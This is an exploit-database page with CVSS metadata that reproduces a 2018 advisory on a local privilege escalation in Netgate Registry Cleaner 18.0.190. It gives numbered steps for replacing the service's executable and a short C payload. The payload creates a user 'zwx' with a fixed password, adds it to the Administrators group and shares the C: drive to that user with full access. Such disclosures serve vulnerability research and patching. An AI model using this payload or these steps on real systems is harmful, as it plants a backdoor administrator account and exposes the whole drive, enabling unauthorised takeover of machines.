Exploitalert - Database of Exploits

Netgate Registry Clenaner 18.0.190 - Local Privilege Escalation

CVE	Category	Price	Severity
N/A	CWE-20	N/A	High

Author	Risk	Exploitation Type	Date
Unknown	High	Local	2018-09-10

CPE
cpe:cpe:/a:netgate:registry_cleaner:18.0.190

CVSS	EPSS	EPSSP
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H	0.02	0.51842

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2018090092

Netgate Registry Clenaner 18.0.190 - Local Privilege Escalation

#--------------------------------------------------------# #Exploit Title: Netgate Registry Clenaner 18.0.190 - Local Privilege Escalation #Exploit Author : ZwX #Exploit Date: 2018-09-09 #Vendor Homepage : http://netgate.sk/ #Tested on OS: Windows 7 #Social: twitter.com/ZwX2a #contact: [email protected] #Website: http://zwx-pentester.fr/ #--------------------------------------------------------# Product & Service Introduction: =============================== NETGATE Technologies is a security software publisher whose mission is to offer innovative software in the security software market, focusing on the privacy of online users and network security. Whether it's a PC application or a Web application, NETGATE Technologies will only provide you with quality software. Technical Details & Description: ================================ The application suffers from an unquoted search path issue in the official Netgate Registry Clenaner v18.0.190 anti-virus software, causing it to be a potential vector of privilege escalation attack. To properly exploit this vulnerability, the local attacker must insert an executable file in the path of the service. Upon service restart or system reboot, the malicious code will be run with elevated privileges. Proof of Concept (PoC): ======================= The issue can be exploited by local attackers with restricted system user account or network access and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the local vulnerability ... 1. Compile the exe (executable) 2. Rename to Test.exe 3. To go from the repertoire C:\Program Files\NETGATE\Registry Cleaner\RegistryCleanerSrv.exe 4. Rename RegistryCleanerSrv.exe in RegistryCleanerSrv1.exe 5. Copy Test.exe to C:\Program Files\NETGATE\Registry Cleaner 6. Rename to Test.exe in RegistryCleanerSrv.exe 7. Restart the system 8. Privilege Escalation Succes (Created Administrator Account) -- PoC Exploitation -- SERVICE_NAME: NGRegClnSrv TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files\NETGATE\Registry Cleaner\RegistryCleanerSrv.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : NETGATE Registry Cleaner Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem -- Code Exploit C -- #include<windows.h> int main(void){ system("net user zwx 123456 /add"); system("net localgroup Administrators zwx /add"); system("net share SHARE_NAME=c: /grant:zwx,full"); return 0; } Disclaimer: =========== Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. Copyright 2018 | ZwX - Security Researcher (Software & web application)

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